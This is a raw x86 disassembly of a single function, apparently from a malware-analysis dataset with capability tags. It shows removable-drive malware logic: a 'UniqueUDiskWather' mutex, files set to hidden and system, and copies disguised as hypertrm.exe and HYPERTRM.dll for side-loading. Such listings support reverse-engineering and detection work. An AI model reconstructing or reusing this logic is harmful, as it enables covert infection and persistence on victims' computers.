Function at 0x1006d900
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3004
call fcn.1008bd60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push ecx
lea eax, [ebp - 0x1804]
mov edx, ecx
push eax
push ecx
lea eax, [ebp - 0x2804]
push eax
push ecx
lea eax, [ebp - 0x2004]
push eax
call fcn.1006c470
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x1006d94f
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007aa10
mov esp, ebp
pop ebp
ret
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x2004]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x806], ax
test ax, ax
jne 0x1006d951
xor ecx, ecx
jmp 0x1006d970
movzx eax, word [ebp + ecx - 0x2804]
lea ecx, [ecx + 2]
mov word [ecx + 0x100e3b06], ax
test ax, ax
jne 0x1006d970
push esi
lea eax, [ebp - 0x2004]
push 0x5c
push eax
call fcn.1007b71d
mov esi, eax
lea eax, [ebp - 0x1804]
push 0x5c
push eax
call fcn.1007b71d
add esp, 0x10
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x1006dd6a
cmp edi, 1
jne 0x1006dd22
push str.UniqueUDiskWather
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
je 0x1006d9e4
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1006dd31
cmp dword [0x100e43ac], 0
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
jbe 0x1006da88
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x804]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1006], ax
test ax, ax
jne 0x1006da00
lea ecx, [ebp - 0x1004]
call fcn.100672a0
test eax, eax
je 0x1006da88
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + str.hypertrm.com]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x1000], ax
test ax, ax
jne 0x1006da30
lea ecx, [ebp - 0x1004]
call fcn.10065770
cmp dword [0x100e43ac], eax
jbe 0x1006dd53
lea edx, [eax + 1]
lea ecx, [ebp - 0x1004]
call fcn.100657c0
lea eax, [ebp - 0x1004]
push eax
call esi
test al, 6
jne 0x1006da88
push 6
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov eax, dword [0x100e3b04]
mov ecx, str.MyFiles_
lea edx, [eax*2 + 0x100e3304]
lea esp, [esp]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x1006daa0
push 0x100e3304
call esi
cmp eax, 0xffffffff
jne 0x1006daca
push 0
push 0x100e3304
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
mov eax, dword [0x100e43b0]
test eax, eax
je 0x1006db3d
test al, 1
je 0x1006daef
call fcn.100660a0
xor edi, edi
mov ecx, 1
test eax, eax
mov eax, dword [0x100e43b0]
cmovne edi, ecx
jmp 0x1006daf1
xor edi, edi
test al, 2
je 0x1006db0a
call fcn.10066140
test eax, eax
jne 0x1006db07
call fcn.10065f60
test eax, eax
je 0x1006db0a
or edi, 2
mov eax, dword [0x100e3b04]
mov ecx, str.hypertrm.org
lea esi, [eax*2 + 0x100e3314]
jmp 0x1006db20
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x1006db20
mov edx, edi
mov ecx, 0x100e3304
call fcn.100657c0
mov eax, dword [0x100e3b04]
mov ecx, str.hypertrm.exe
lea edx, [eax*2 + 0x100e3314]
mov edi, edi
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x1006db50
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
lea eax, [ebp - 0x804]
push 0x100e3304
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
je 0x1006dc60
push 1
push 0x100e3304
lea eax, [ebp - 0x804]
push eax
call edi
mov edx, 0x100e3304
lea ecx, [edx + 2]
jmp 0x1006dba0
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1006dba0
sub edx, ecx
push ecx
sar edx, 1
mov ecx, 0x100e3304
call fcn.10065020
add esp, 4
test eax, eax
jne 0x1006dbf3
mov edx, 0x100e3304
lea esi, [edx + 2]
lea esp, [esp]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1006dbd0
sub edx, esi
push ecx
sar edx, 1
mov ecx, 0x100e3304
call fcn.10065110
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
add esp, 4
lea eax, [ebp - 0x804]
push 0x2e
push eax
call fcn.1007b71d
mov edx, eax
add esp, 8
test edx, edx
je 0x1006dc60
mov ecx, 0x100c689c
sub edx, ecx
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx], ax
test ax, ax
jne 0x1006dc11
push 0x2e
push 0x100e3304
call fcn.1007b71d
add esp, 8
test eax, eax
je 0x1006dc60
mov ecx, 0x100c689c
sub eax, ecx
lea edx, [eax + 2]
lea ecx, [ecx]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x1006dc40
push 1
push 0x100e3304
lea eax, [ebp - 0x804]
push eax
call edi
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x2804]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x806], ax
test ax, ax
jne 0x1006dc62
mov eax, dword [0x100e3b04]
mov ecx, str.HYPERTRM.dll
lea edx, [eax*2 + 0x100e3314]
jmp 0x1006dc90
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x1006dc90
push 0x100e3304
lea eax, [ebp - 0x804]
push eax
call esi
test eax, eax
je 0x1006dcdc
push 1
push 0x100e3304
lea eax, [ebp - 0x804]
push eax
call edi
xor ecx, ecx
movzx eax, word [ecx + 0x100e3304]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x806], ax
test ax, ax
jne 0x1006dcc5
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x3004]
push str.___s__AfxGetHttpRaquestMgr
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push 1
lea edx, [ebp - 0x3004]
lea ecx, [ebp - 0x1804]
call fcn.10068c50
add esp, 0x10
call fcn.1006d880
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007aa10
mov esp, ebp
pop ebp
ret
cmp edi, 3
je 0x1006dd53
mov eax, 0x32
cmp edi, 2
je 0x1006dd36
mov eax, 0x30
push eax
lea eax, [ebp - 0x1804]
push eax
lea eax, [ebp - 0x2804]
push eax
lea edx, [ebp - 0x2004]
call fcn.10069e00
add esp, 0xc
call fcn.1006d880
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007aa10
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop esi
xor ecx, ebp
pop edi
call fcn.1007aa10
mov esp, ebp
pop ebp
ret